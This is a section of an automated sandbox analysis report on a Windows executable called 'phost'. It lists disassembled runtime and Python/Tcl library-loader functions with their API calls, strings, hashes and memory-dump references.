Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 5288570d1ffbc8e2ef83e37d5cf275736ad5d9772271ffb1c41ff4d437e66771
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 75119632B1C64181FE629F599C0197FA2B1AF45BE0F444231EB4CD7A96DFBDD4008702

Function 00007FF62CC963C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC963E7

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: 546a1a177f04ca54416a5c650dd3ac28fe9a4316dc461935a5df6a72e6a73d96
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: EB215072718A8286DFA19F1CD85077A76B0FB84BA8F548234E69DC76D9DF3CD4008B01

Function 00007FF62CC8042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC80480

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: b3f33d435726a7e6b37db82cf8507c0968e1e1daa5d36e65d9fb8158fd0a91c2
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 6C018E22B4874141EE06DB5A9D0186AA6A1BF86FF0F488731EE5C97BD6CE3CE0018341

Function 00007FF62CC79070 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62CC79400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62CC745E4,00000000,00007FF62CC71985), ref: 00007FF62CC79439

LoadLibraryExW.KERNEL32(?,00007FF62CC76466,?,00007FF62CC7336E), ref: 00007FF62CC79092

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 7140f7c55cf735ced6a4f02887063d730e60c19ae08c919a697b9dfe54228ee6
Instruction ID: b106c9906828b7c85da1d74e885b20ac85d0cc5c196ad01ca0ef31e64084b84c
Opcode Fuzzy Hash: 7140f7c55cf735ced6a4f02887063d730e60c19ae08c919a697b9dfe54228ee6
Instruction Fuzzy Hash: 86D08C21B2424541EE58E76FBA5A63A5261AF8DBD4E88D035EE0D47B4AEC3CC0518B00

Function 00007FF62CC8EC08 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF62CC8B39A,?,?,?,00007FF62CC84F81,?,?,?,?,00007FF62CC8A4FA), ref: 00007FF62CC8EC5D

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction ID: ece1ba33c3fa5708ee663af6661d0174e02dc0b8614a353cedbb222431c61f67
Opcode Fuzzy Hash: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction Fuzzy Hash: 9AF06298F0924680FE565B6E5C61AB702B05F45BE0F4C4638CD0DC63D1DE1CE8808212

Function 00007FF62CC8D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF62CC80D00,?,?,?,00007FF62CC8236A,?,?,?,?,?,00007FF62CC83B59), ref: 00007FF62CC8D6AA

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: b3bd5f2276f108c7148e443b174a34106403ac9e25767aa87aac732a18a42dfd
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: 42F0FE10F0934B95FE6667A95C51A7A12B06F547F0F094B30DD2EC53DADE2CF4808612

Non-executed Functions

Function 00007FF62CC8A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF62CC8A6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF62CC8A715
RtlVirtualUnwind.KERNEL32 ref: 00007FF62CC8A750
IsDebuggerPresent.KERNEL32 ref: 00007FF62CC8A789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF62CC8A793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF62CC8A79E

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction ID: cf4ca272f6a914803da853a19940e15fae5bc9d9ed0e1b6bf7f070c433a74314
Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction Fuzzy Hash: 98315132718F8196EB608F29EC506AE73B4FB84768F544135EA8D87B54DF3CC1458B01

Function 00007FF62CC918E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC91930
FindFirstFileExW.KERNEL32 ref: 00007FF62CC91A3A

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 2ef3c37f04818ead7d44404f95bcb0bbc346a7a2ea351082cea4bee254bbf61c
Instruction ID: 9fd4ae548ac1ef3df7c51d4114e7dfce83ccbd1a0ccab4bef7e6d245794e04f3
Opcode Fuzzy Hash: 2ef3c37f04818ead7d44404f95bcb0bbc346a7a2ea351082cea4bee254bbf61c
Instruction Fuzzy Hash: A1B1D662B1C69241EE619B2ADC015BA63B1EB45BF8F448131EE5D87BD5EF3CE441C302

Function 00007FF62CC95EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF62CC95F1A

Part of subcall function 00007FF62CC95668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC9567C

_get_daylight.LIBCMT ref: 00007FF62CC95F2B

Part of subcall function 00007FF62CC95608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC9561C

_get_daylight.LIBCMT ref: 00007FF62CC95F3C

Part of subcall function 00007FF62CC95638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC9564C

Part of subcall function 00007FF62CC8A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9CE
Part of subcall function 00007FF62CC8A9B8: GetLastError.KERNEL32(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9D8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF62CC9617C), ref: 00007FF62CC95F63

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
Instruction ID: 487cc8da38f35d392e169b1bd9d713813a4fca92cb90ad373c67ccca4ad9a43b
Opcode Fuzzy Hash: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
Instruction Fuzzy Hash: 6351A272B0864296EB20EF29DC815B96770FF487A8F449235EA4DC7796DF3CE4418742

Function 00007FF62CC75820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC75830
GetLastError.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC75842
GetProcAddress.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC75879
GetLastError.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC7588B
GetProcAddress.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC758A4
GetLastError.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC758B6
GetProcAddress.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC758CF
GetLastError.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC758E1
GetProcAddress.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC758FD
GetLastError.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC7590F
GetProcAddress.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC7592B
GetLastError.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC7593D
GetProcAddress.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC75959
GetLastError.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC7596B
GetProcAddress.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC75987
GetLastError.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC75999
GetProcAddress.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC759B5
GetLastError.KERNEL32(?,00007FF62CC764BF,?,00007FF62CC7336E), ref: 00007FF62CC759C7

Strings

Py_DecRef, xrefs: 00007FF62CC75826, 00007FF62CC75848
PyErr_Occurred, xrefs: 00007FF62CC75B1B, 00007FF62CC75B3D
PySys_SetObject, xrefs: 00007FF62CC75E85, 00007FF62CC75EA7
PySys_GetObject, xrefs: 00007FF62CC75E57, 00007FF62CC75E79
PyRun_SimpleStringFlags, xrefs: 00007FF62CC75DFB, 00007FF62CC75E1D
PyUnicode_FromString, xrefs: 00007FF62CC75F6B, 00007FF62CC75F8D
PyUnicode_Replace, xrefs: 00007FF62CC75FC7, 00007FF62CC75FE9
PyErr_Fetch, xrefs: 00007FF62CC75ABF, 00007FF62CC75AE1
PyUnicode_Decode, xrefs: 00007FF62CC75EE1, 00007FF62CC75F03
PyConfig_SetString, xrefs: 00007FF62CC75A35, 00007FF62CC75A57
PyConfig_SetBytesString, xrefs: 00007FF62CC75A07, 00007FF62CC75A29
PyErr_NormalizeException, xrefs: 00007FF62CC75AED, 00007FF62CC75B0F
PyErr_Clear, xrefs: 00007FF62CC75A91, 00007FF62CC75AB3
PyConfig_Read, xrefs: 00007FF62CC759D9, 00007FF62CC759FB
PyErr_Restore, xrefs: 00007FF62CC75B77, 00007FF62CC75B99
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF62CC75DCD, 00007FF62CC75DEF
PyImport_ExecCodeModule, xrefs: 00007FF62CC75C01, 00007FF62CC75C23
Py_IsInitialized, xrefs: 00007FF62CC75921, 00007FF62CC75943
PyObject_CallFunction, xrefs: 00007FF62CC75CE7, 00007FF62CC75D09
PyStatus_Exception, xrefs: 00007FF62CC75E29, 00007FF62CC75E4B
Failed to get address for %hs, xrefs: 00007FF62CC75851
PyObject_GetAttrString, xrefs: 00007FF62CC75D43, 00007FF62CC75D65
PyMarshal_ReadObjectFromString, xrefs: 00007FF62CC75C5D, 00007FF62CC75C7F
PyErr_Print, xrefs: 00007FF62CC75B49, 00007FF62CC75B6B
PyUnicode_DecodeFSDefault, xrefs: 00007FF62CC75F0F, 00007FF62CC75F31
PyObject_Str, xrefs: 00007FF62CC75D9F, 00007FF62CC75DC1
PyObject_CallFunctionObjArgs, xrefs: 00007FF62CC75D15, 00007FF62CC75D37
PyUnicode_FromFormat, xrefs: 00007FF62CC75F3D, 00007FF62CC75F5F
PyConfig_InitIsolatedConfig, xrefs: 00007FF62CC759AB, 00007FF62CC759CD
Py_DecodeLocale, xrefs: 00007FF62CC7586F, 00007FF62CC75891
PyUnicode_Join, xrefs: 00007FF62CC75F99, 00007FF62CC75FBB
GetProcAddress, xrefs: 00007FF62CC75858
PyEval_EvalCode, xrefs: 00007FF62CC75BA5, 00007FF62CC75BC7
PyModule_GetDict, xrefs: 00007FF62CC75CB9, 00007FF62CC75CDB
Py_Finalize, xrefs: 00007FF62CC758C5, 00007FF62CC758E7
PyConfig_SetWideStringList, xrefs: 00007FF62CC75A63, 00007FF62CC75A85
PyUnicode_AsUTF8, xrefs: 00007FF62CC75EB3, 00007FF62CC75ED5
Py_InitializeFromConfig, xrefs: 00007FF62CC758F3, 00007FF62CC75915
Py_PreInitialize, xrefs: 00007FF62CC7594F, 00007FF62CC75971
PyConfig_Clear, xrefs: 00007FF62CC7597D, 00007FF62CC7599F
Py_ExitStatusException, xrefs: 00007FF62CC7589A, 00007FF62CC758BC
PyObject_SetAttrString, xrefs: 00007FF62CC75D71, 00007FF62CC75D93
PyImport_ImportModule, xrefs: 00007FF62CC75C2F, 00007FF62CC75C51
PyMem_RawFree, xrefs: 00007FF62CC75C8B, 00007FF62CC75CAD
PyImport_AddModule, xrefs: 00007FF62CC75BD3, 00007FF62CC75BF5

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction ID: ed7a3963f2ba6b22fca9b8c813b45cef6a5515a54ceb7c2da60ea6be0e7f8730
Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction Fuzzy Hash: 9622B374B49F47D2FE159B5DAD241B423B4EF04BB9B84A035C82E86360EF3CB55AD206

Function 00007FF62CC776B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF62CC776C7
GetLastError.KERNEL32 ref: 00007FF62CC776D9
GetProcAddress.KERNEL32 ref: 00007FF62CC77715
GetLastError.KERNEL32 ref: 00007FF62CC77727
GetProcAddress.KERNEL32 ref: 00007FF62CC77740
GetLastError.KERNEL32 ref: 00007FF62CC77752
GetProcAddress.KERNEL32 ref: 00007FF62CC7776B
GetLastError.KERNEL32 ref: 00007FF62CC7777D
GetProcAddress.KERNEL32 ref: 00007FF62CC77799
GetLastError.KERNEL32 ref: 00007FF62CC777AB
GetProcAddress.KERNEL32 ref: 00007FF62CC777C7
GetLastError.KERNEL32 ref: 00007FF62CC777D9
GetProcAddress.KERNEL32 ref: 00007FF62CC777F5
GetLastError.KERNEL32 ref: 00007FF62CC77807
GetProcAddress.KERNEL32 ref: 00007FF62CC77823
GetLastError.KERNEL32 ref: 00007FF62CC77835
GetProcAddress.KERNEL32 ref: 00007FF62CC77851
GetLastError.KERNEL32 ref: 00007FF62CC77863

Strings

Tcl_MutexLock, xrefs: 00007FF62CC778A3, 00007FF62CC778C5
Tcl_Init, xrefs: 00007FF62CC776C0, 00007FF62CC776DF
Tcl_MutexFinalize, xrefs: 00007FF62CC778FF, 00007FF62CC77921
Tcl_ConditionNotify, xrefs: 00007FF62CC7795B, 00007FF62CC7797D
Tcl_GetCurrentThread, xrefs: 00007FF62CC77847, 00007FF62CC77869
Tcl_SetVar2Ex, xrefs: 00007FF62CC77B27, 00007FF62CC77B49
Tcl_NewStringObj, xrefs: 00007FF62CC77ACB, 00007FF62CC77AED
Tk_Init, xrefs: 00007FF62CC77C69, 00007FF62CC77C8B
Tcl_CreateThread, xrefs: 00007FF62CC77819, 00007FF62CC7783B
Tcl_ThreadAlert, xrefs: 00007FF62CC779E5, 00007FF62CC77A07
Tcl_Finalize, xrefs: 00007FF62CC7778F, 00007FF62CC777B1
Tcl_MutexUnlock, xrefs: 00007FF62CC778D1, 00007FF62CC778F3
Tcl_GetObjResult, xrefs: 00007FF62CC77B55, 00007FF62CC77B77
Failed to get address for %hs, xrefs: 00007FF62CC776E8
Tcl_NewByteArrayObj, xrefs: 00007FF62CC77AF9, 00007FF62CC77B1B
Tcl_ConditionWait, xrefs: 00007FF62CC77989, 00007FF62CC779AB
Tcl_FinalizeThread, xrefs: 00007FF62CC777BD, 00007FF62CC777DF
Tcl_GetString, xrefs: 00007FF62CC77A9D, 00007FF62CC77ABF
Tcl_Alloc, xrefs: 00007FF62CC77C0D, 00007FF62CC77C2F
Tcl_EvalObjv, xrefs: 00007FF62CC77BDF, 00007FF62CC77C01
Tcl_GetVar2, xrefs: 00007FF62CC77A13, 00007FF62CC77A35
GetProcAddress, xrefs: 00007FF62CC776EF
Tcl_FindExecutable, xrefs: 00007FF62CC77736, 00007FF62CC77758
Tcl_JoinThread, xrefs: 00007FF62CC77875, 00007FF62CC77897
Tcl_CreateObjCommand, xrefs: 00007FF62CC77A6F, 00007FF62CC77A91
Tcl_EvalFile, xrefs: 00007FF62CC77B83, 00007FF62CC77BA5
Tcl_SetVar2, xrefs: 00007FF62CC77A41, 00007FF62CC77A63
Tcl_CreateInterp, xrefs: 00007FF62CC7770B, 00007FF62CC7772D
Tcl_DoOneEvent, xrefs: 00007FF62CC77761, 00007FF62CC77783
Tcl_Free, xrefs: 00007FF62CC77C3B, 00007FF62CC77C5D
Tk_GetNumMainWindows, xrefs: 00007FF62CC77C97, 00007FF62CC77CB9
Tcl_ConditionFinalize, xrefs: 00007FF62CC7792D, 00007FF62CC7794F
Tcl_DeleteInterp, xrefs: 00007FF62CC777EB, 00007FF62CC7780D
Tcl_EvalEx, xrefs: 00007FF62CC77BB1, 00007FF62CC77BD3
Tcl_ThreadQueueEvent, xrefs: 00007FF62CC779B7, 00007FF62CC779D9

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: 4736c4785d45458d7ecd6ca510b826146a83199af77a7766b131d2ddab09aa15
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: 9702B270B0DB0BA1FE269B5DAD245B423B4BF44B79B44A031D41E862A4EF3CB559D313

Function 00007FF62CC71600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF62CC71749
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62CC717DF
fread, xrefs: 00007FF62CC717E6
Failed to create symbolic link %s!, xrefs: 00007FF62CC71622
Failed to extract %s: failed to open target file!, xrefs: 00007FF62CC7165C
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF62CC71742
fopen, xrefs: 00007FF62CC71663
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62CC716A2
fseek, xrefs: 00007FF62CC716E1
